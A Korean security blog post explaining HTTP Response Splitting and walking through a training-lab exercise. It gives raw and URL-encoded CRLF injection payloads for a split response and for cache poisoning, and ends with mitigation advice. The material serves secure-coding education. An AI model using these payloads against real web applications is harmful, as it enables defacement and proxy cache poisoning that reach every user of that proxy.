CODEDRAGON ㆍSecurity/SecureCoding
HTTP Splitting
- 사용자의 입력값을 검증하지 않아 발생할 수 있는 취약점으로 사용자가 입력값 이외에 CR & LF를 추가해서 서버의 응답에 다른 응답형태를 추가하게 됩니다.
구분 | 의미 | 윈도우 | UNIX/LINUX |
CR(%0d) | 커서의 위치를 줄의 맨 처음 자리로 옮기라는 의미 | 사용 | 미사용 |
LF(%0a) | 커서를 다음 줄로 넘기라는 의미 | 사용 | 사용 |
- 윈도우에서는 한 라인을 넘기기 위해 CR, LF를 같이 사용하지만 UNIX/LINUX에서는 LF만 사용합니다.
- CR/LF문들을 이용하여 임의의 제약사항들을 우회하여 서버에서 다른 페이지를 불러 올 수 도 있고 임의의 포트로 명령을 보낼 수 도 있습니다.
- 서버가 CR(%0d) 와 LF(%0a)을 체크하지 않는다는 것은 공격자가 헤더와 본문을 제어할 수 있다는 것을 의미합니다. 즉, 공격자가 임의적으로 추가적인 응답을 생성할 수 있게 됩니다.
- HTTP Response Splitting 공격은 웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 가지고 응답 메시지를 조작하여 Proxy서버를 공격자의 의도대로 조작할 수 있는 공격 방식입니다.
- HTTP Request를 보냈을 때 서버의 응답인 HTTP response의 내용을 인위적으로 조작해 특정 값을 입력 했을 때 정상적인 응답 값을 두 개 이상 받아올 수 있게 됩니다. 그러면 공격받은 Proxy 서버를 사용하는 모든 사용자는 조작된 페이지를 보게 됩니다.
LAB 수행
Stage1:Response Splitting Attack
추가적인 응답을 하나 더 넣어서 서버에게 전달하기 위해 아래의 응답 문장을 encoding하여 서버에 전달합니다.
en Content-Length:0
HTTP/1.1 200 OK Content-Type: text/html Content-Length: 31 <html>Hacked by CodeDragon</html> |
위의 문장을 copy후 paste >
encodeURIComponent 클릭
-----Text FX ------ 드롭다운 항목의 Convert 항목의 from %0A to %0D%0A 선택
en%0D%0AContent-Length%3A0%0D%0A%20%20%20%20%20%20%20%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2031%0D%0A%0D%0A%3Chtml%3EHacked%20by%20CodeDragon%3C%2Fhtml%3E |
Search by country:입력창에 붙여넣기 후 Search
Stage2: CACHE POSITIONING ATTACK
en Content-Length:0
HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 27 Oct 2090 14:50:18 GMT Content-Length: 31 <html>Hacked by CodeDragon</html> |
encodeURIComponent >
-----Text FX ------ 드롭다운 항목의 Convert 항목의 from %0A to %0D%0A 선택
en%0D%0AContent-Length%3A0%0D%0A%20%20%20%20%20%20%20%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202090%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2031%0D%0A%0D%0A%3Chtml%3EHacked%20by%20CodeDragon%3C%2Fhtml%3E |
LAB 성공!!!
encoding된 문장을 추가한 후 Search
고찰
- 공격자가 임의로 집어넣은 HTTP 헤더값에서 CRLF를 제대로 제거하지 않으면, 공격자가 그이후에 출력되는 본문에 대한 제어권한을 얻게되고, 그결과 응답을 둘 또는 그이상으로 분리해 버리는 결과를 만들게 됩니다.
- 일반적으로 Location 이나 set-cookie 와 같은 HTTP헤더를 사용할때 이런 취약점을만들기 쉬운데, 값을 넣기전에 반드시 URL인코딩을 해주어야 합니다. 그외에도 ID를조합해서 URL을 만들때 정수형으로 무조건 캐스팅한다든지 철저하게 정규표현식을사용해서 점검한다든지하는 방법이 있습니다.
'Security > SecureCoding' 카테고리의 다른 글
3.1Stage1: Bypass Business Layer Access Control (0) | 2015.10.27 |
---|---|
1.Using an Access Control Matrix (0) | 2015.10.20 |
1.Http Basics (0) | 2015.10.07 |
2015 SW보안 컨퍼런스 - 2015.10.5 (0) | 2015.10.02 |
The Linux Foundation Releases Annual Linux Development Report 2015 (0) | 2015.09.27 |